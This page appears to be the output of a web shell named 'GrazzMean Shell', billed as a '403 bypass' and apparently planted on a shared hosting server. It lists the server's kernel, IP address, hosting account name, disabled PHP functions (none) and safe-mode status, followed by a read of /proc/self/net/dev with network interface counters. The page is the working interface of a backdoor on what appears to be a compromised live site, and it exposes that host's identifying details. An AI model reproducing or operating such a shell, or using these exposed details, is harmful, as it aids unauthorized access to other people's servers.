shell bypass 403

GrazzMean Shell

: /proc/self/root/proc/self/net/ [ dr-xr-xr-x ]
Uname: Linux server230.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 198.54.115.51
Your Ip: 216.73.216.206
User: myflzuab (636) | Group: myflzuab (635)
Safe Mode: OFF
Disable Function:
NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 18391142704210 7959131088    0    0    0     0          0         0 18391142704210 7959131088    0    0    0     0       0          0
  eth0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth1:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3: 2781329994876 6678803582    0 8903337 8903337     0          0   7578694 12194539688479 11223770850    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5: 2742342301079 6366505077    0 6770166 6770166     0          0   7557021 8153188900958 8169401470    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   142568    2036    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 5523672295955 13045308659    0 15673503 15673503     0          0  15135715 20347728589437 19393172320    0    0    0     0       0          0
bond0.1000: 5139506170591 10740378005    0    0    0     0          0     68912 16683379348221 10424631587    0    0    0     0       0          0
bond0.999: 106372605039 475781670    0    0    0     0          0     66858 3107054042466 217972001    0    0    0     0       0          0
© 2025 GrazzMean